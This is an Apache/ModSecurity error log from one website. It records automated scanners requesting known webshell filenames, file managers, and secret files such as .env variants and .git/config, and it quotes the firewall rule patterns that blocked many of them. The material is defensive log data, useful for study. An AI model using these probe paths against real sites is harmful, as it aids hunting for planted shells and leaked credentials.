[Mon Apr 20 07:23:16.637947 2026] [:error] [pid 64332:tid 64346] [client 130.131.243.198:11177] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aeVj5MAQ57uMKAVSYEkXHwAAAAQ"]
[Mon Apr 20 07:23:18.750118 2026] [:error] [pid 64333:tid 64386] [client 130.131.243.198:10892] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aeVj5nZav9wH8wxMd_tu4AAAAEo"]
[Mon Apr 20 13:38:13.082943 2026] [:error] [pid 11351:tid 11403] [client 103.65.237.216:58011] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "aeW7xQN8Z1-vktaI_tOHUwAAAFA"]
[Mon Apr 20 13:38:13.343204 2026] [:error] [pid 11352:tid 11421] [client 103.65.237.216:58065] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aeW7xWl10mhMSfJ7ir91AwAAAIc"]
[Mon Apr 20 18:08:51.611295 2026] [:error] [pid 42014:tid 42032] [client 47.11.112.130:58673] [client 47.11.112.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.11.112.130, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeX7M8ek-00-ZI0f1NpgRwAAARA"]
[Mon Apr 20 18:08:51.617284 2026] [:error] [pid 42014:tid 42032] [client 47.11.112.130:58673] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 20 18:14:08.770513 2026] [:error] [pid 6928:tid 6944] [client 103.231.34.27:59425] [client 103.231.34.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.231.34.27, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeX8cB3y7MHq1iB0qYqJygAAAU4"]
[Mon Apr 20 18:14:08.771032 2026] [:error] [pid 11352:tid 11420] [client 103.231.34.27:59424] [client 103.231.34.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.231.34.27, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeX8cGl10mhMSfJ7ir-8wAAAAIY"]
[Mon Apr 20 18:14:08.775269 2026] [:error] [pid 6928:tid 6944] [client 103.231.34.27:59425] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 20 18:14:08.775860 2026] [:error] [pid 11352:tid 11420] [client 103.231.34.27:59424] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 20 20:59:08.222655 2026] [:error] [pid 11351:tid 11393] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Mon Apr 20 20:59:08.592467 2026] [:error] [pid 11351:tid 11389] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Mon Apr 20 20:59:08.846204 2026] [:error] [pid 11351:tid 11397] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Mon Apr 20 20:59:09.087445 2026] [:error] [pid 11351:tid 11390] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Apr 20 20:59:09.321890 2026] [:error] [pid 11351:tid 11404] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Apr 20 20:59:09.560303 2026] [:error] [pid 11351:tid 11388] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Apr 20 20:59:09.819297 2026] [:error] [pid 11351:tid 11391] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Apr 20 20:59:10.044280 2026] [:error] [pid 11351:tid 11409] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Mon Apr 20 20:59:10.495416 2026] [:error] [pid 11351:tid 11399] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Mon Apr 20 20:59:10.721742 2026] [:error] [pid 11351:tid 11405] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Mon Apr 20 20:59:10.949782 2026] [:error] [pid 11351:tid 11400] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Apr 20 20:59:11.175075 2026] [:error] [pid 11351:tid 11403] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Mon Apr 20 20:59:11.396602 2026] [:error] [pid 11351:tid 11407] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Mon Apr 20 20:59:11.643431 2026] [:error] [pid 11351:tid 11393] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Mon Apr 20 20:59:11.916372 2026] [:error] [pid 11351:tid 11389] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Mon Apr 20 20:59:12.191711 2026] [:error] [pid 11351:tid 11397] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Mon Apr 20 20:59:12.457302 2026] [:error] [pid 11351:tid 11398] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Mon Apr 20 20:59:12.759835 2026] [:error] [pid 11351:tid 11402] [client 89.251.0.119:49513] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Mon Apr 20 20:59:16.227264 2026] [:error] [pid 11351:tid 11402] [client 89.251.0.119:49513] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeYjJAN8Z1-vktaI_tMCkAAAAE8"]
[Mon Apr 20 20:59:17.696195 2026] [:error] [pid 6928:tid 6943] [client 89.251.0.129:45153] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeYjJR3y7MHq1iB0qYqxxAAAAU0"]
[Mon Apr 20 20:59:19.140550 2026] [:error] [pid 11350:tid 11381] [client 89.251.0.147:36011] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Apr 20 20:59:19.826816 2026] [:error] [pid 11350:tid 11361] [client 89.251.0.147:36011] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeYjJ_4EoMBgOJuJnT247gAAAAI"]
[Mon Apr 20 20:59:20.792143 2026] [:error] [pid 11494:tid 11513] [client 89.251.0.151:63365] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Apr 20 20:59:21.174819 2026] [:error] [pid 11494:tid 11508] [client 89.251.0.151:63365] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeYjKcgko5iFiE8YoyTjhwAAAYw"]
[Mon Apr 20 20:59:21.963456 2026] [:error] [pid 11441:tid 11463] [client 89.251.0.136:51037] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Mon Apr 20 20:59:23.219341 2026] [:error] [pid 11441:tid 11464] [client 89.251.0.136:51037] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeYjK8ixByFUvmh319CfVgAAANU"]
[Mon Apr 20 20:59:23.994456 2026] [:error] [pid 11494:tid 11500] [client 89.251.0.129:38735] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeYjK8gko5iFiE8YoyTjiwAAAYQ"]
[Mon Apr 20 20:59:24.515960 2026] [:error] [pid 6928:tid 6947] [client 89.251.0.129:43195] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeYjLB3y7MHq1iB0qYqxygAAAVE"]
[Mon Apr 20 20:59:25.033563 2026] [:error] [pid 11350:tid 11380] [client 89.251.0.129:49029] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeYjLf4EoMBgOJuJnT25BQAAABU"]
[Mon Apr 20 20:59:25.496368 2026] [:error] [pid 11441:tid 11444] [client 89.251.0.126:61151] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeYjLcixByFUvmh319CfYAAAAME"]
[Mon Apr 20 21:00:03.813777 2026] [autoindex:error] [pid 6928:tid 6947] [client 89.251.0.133:52573] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 23:44:46.706038 2026] [:error] [pid 42014:tid 42040] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Mon Apr 20 23:44:46.977475 2026] [:error] [pid 42014:tid 42039] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Mon Apr 20 23:44:47.249735 2026] [:error] [pid 42014:tid 42022] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/kcs.php
[Mon Apr 20 23:44:47.521530 2026] [:error] [pid 42014:tid 42019] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Mon Apr 20 23:44:47.793365 2026] [:error] [pid 42014:tid 42034] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211022.php
[Mon Apr 20 23:44:48.066803 2026] [:error] [pid 42014:tid 42023] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Mon Apr 20 23:44:48.338751 2026] [:error] [pid 42014:tid 42030] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/cs.php
[Mon Apr 20 23:44:48.610540 2026] [:error] [pid 42014:tid 42024] [client 20.223.189.197:8266] File does not exist: /usr/local/apache/htdocs/suspended-page/1index.php
[Mon Apr 20 23:45:41.456845 2026] [:error] [pid 6928:tid 6935] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Mon Apr 20 23:45:41.719789 2026] [:error] [pid 6928:tid 6933] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Mon Apr 20 23:45:41.984723 2026] [:error] [pid 6928:tid 6934] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/kcs.php
[Mon Apr 20 23:45:42.253752 2026] [:error] [pid 6928:tid 6947] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Mon Apr 20 23:45:42.519170 2026] [:error] [pid 6928:tid 6950] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211022.php
[Mon Apr 20 23:45:42.786605 2026] [:error] [pid 6928:tid 6932] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Mon Apr 20 23:45:43.050962 2026] [:error] [pid 6928:tid 6938] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/cs.php
[Mon Apr 20 23:45:43.314752 2026] [:error] [pid 6928:tid 6940] [client 20.251.218.161:3046] File does not exist: /usr/local/apache/htdocs/suspended-page/1index.php
[Tue Apr 21 04:00:28.581287 2026] [:error] [pid 4777:tid 4802] [client 185.194.178.46:50925] [client 185.194.178.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.46, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeaF3KxXur6bykKyLZT9iwAAAQ4"]
[Tue Apr 21 04:00:28.596083 2026] [:error] [pid 4777:tid 4802] [client 185.194.178.46:50925] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 21 14:49:41.806140 2026] [:error] [pid 4822:tid 4831] [client 50.17.106.38:33426] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aeceBSAteFQFwS_23JmLuwAAAUU"]
[Tue Apr 21 14:49:43.246556 2026] [:error] [pid 35322:tid 35371] [client 50.17.106.38:33470] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aeceB6PoAfV40BTfVKyxWQAAAI4"]
[Tue Apr 21 14:49:44.422532 2026] [:error] [pid 4777:tid 4788] [client 50.17.106.38:33498] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "aeceCKxXur6bykKyLZRyMgAAAQA"]
[Tue Apr 21 14:49:45.398788 2026] [:error] [pid 4822:tid 4846] [client 50.17.106.38:33512] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "aeceCSAteFQFwS_23JmLygAAAVQ"]
[Tue Apr 21 14:49:46.406119 2026] [:error] [pid 4822:tid 4838] [client 50.17.106.38:33540] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "aeceCiAteFQFwS_23JmL0QAAAUw"]
[Tue Apr 21 14:49:47.460151 2026] [:error] [pid 4822:tid 4830] [client 50.17.106.38:33566] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "aeceCyAteFQFwS_23JmL2wAAAUQ"]
[Tue Apr 21 14:49:48.537718 2026] [:error] [pid 4822:tid 4840] [client 50.17.106.38:33614] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "aeceDCAteFQFwS_23JmL4AAAAU4"]
[Tue Apr 21 14:49:49.523736 2026] [:error] [pid 4822:tid 4831] [client 50.17.106.38:55754] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "aeceDSAteFQFwS_23JmL6gAAAUU"]
[Tue Apr 21 14:49:50.571786 2026] [:error] [pid 4822:tid 4831] [client 50.17.106.38:55796] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "aeceDiAteFQFwS_23JmL_AAAAUU"]
[Tue Apr 21 14:49:51.625861 2026] [:error] [pid 5377:tid 5395] [client 50.17.106.38:55826] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "aeceD7BKychFlrHBdvvBEgAAAck"]
[Tue Apr 21 14:49:52.587361 2026] [:error] [pid 4823:tid 4875] [client 50.17.106.38:55858] [client 50.17.106.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "aeceEPc8mke3PfHqsxGMeQAAAZY"]
[Tue Apr 21 15:35:20.889566 2026] [:error] [pid 35321:tid 35392] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Tue Apr 21 15:35:21.174050 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Tue Apr 21 15:35:21.460400 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Tue Apr 21 15:35:21.743482 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Tue Apr 21 15:35:22.026650 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Tue Apr 21 15:35:22.316050 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Tue Apr 21 15:35:22.591251 2026] [:error] [pid 35321:tid 35402] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Tue Apr 21 15:35:22.874149 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Tue Apr 21 15:35:23.176428 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.107:65513] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Tue Apr 21 15:35:23.451933 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.107:65513] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aecouzeHLhVUuu8cVXygsAAAAFA"]
[Tue Apr 21 15:35:24.023551 2026] [:error] [pid 54080:tid 54087] [client 45.86.200.221:29015] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Tue Apr 21 15:35:24.310843 2026] [:error] [pid 54080:tid 54096] [client 45.86.200.221:29015] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aecovIzEbQHHxtmWbaZO8wAAAs4"]
[Tue Apr 21 15:35:24.858383 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.223:64429] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Tue Apr 21 15:35:25.146636 2026] [:error] [pid 4823:tid 4867] [client 45.86.200.223:64429] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Tue Apr 21 15:35:25.431907 2026] [:error] [pid 4823:tid 4860] [client 45.86.200.223:64429] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php
[Tue Apr 21 15:35:25.729494 2026] [:error] [pid 4823:tid 4858] [client 45.86.200.223:64429] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Tue Apr 21 15:35:26.002323 2026] [:error] [pid 4823:tid 4862] [client 45.86.200.223:64429] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Tue Apr 21 15:35:26.277137 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.223:64429] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aecovvc8mke3PfHqsxG1lQAAAYA"]
[Tue Apr 21 15:35:26.842862 2026] [:error] [pid 35415:tid 35433] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Tue Apr 21 15:35:27.124053 2026] [:error] [pid 35415:tid 35431] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Tue Apr 21 15:35:27.430706 2026] [:error] [pid 35415:tid 35429] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Tue Apr 21 15:35:27.719243 2026] [:error] [pid 35415:tid 35436] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Tue Apr 21 15:35:28.022883 2026] [:error] [pid 35415:tid 35440] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Tue Apr 21 15:35:28.313258 2026] [:error] [pid 35415:tid 35435] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Apr 21 15:35:28.611799 2026] [:error] [pid 35415:tid 35428] [client 45.86.200.218:57283] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
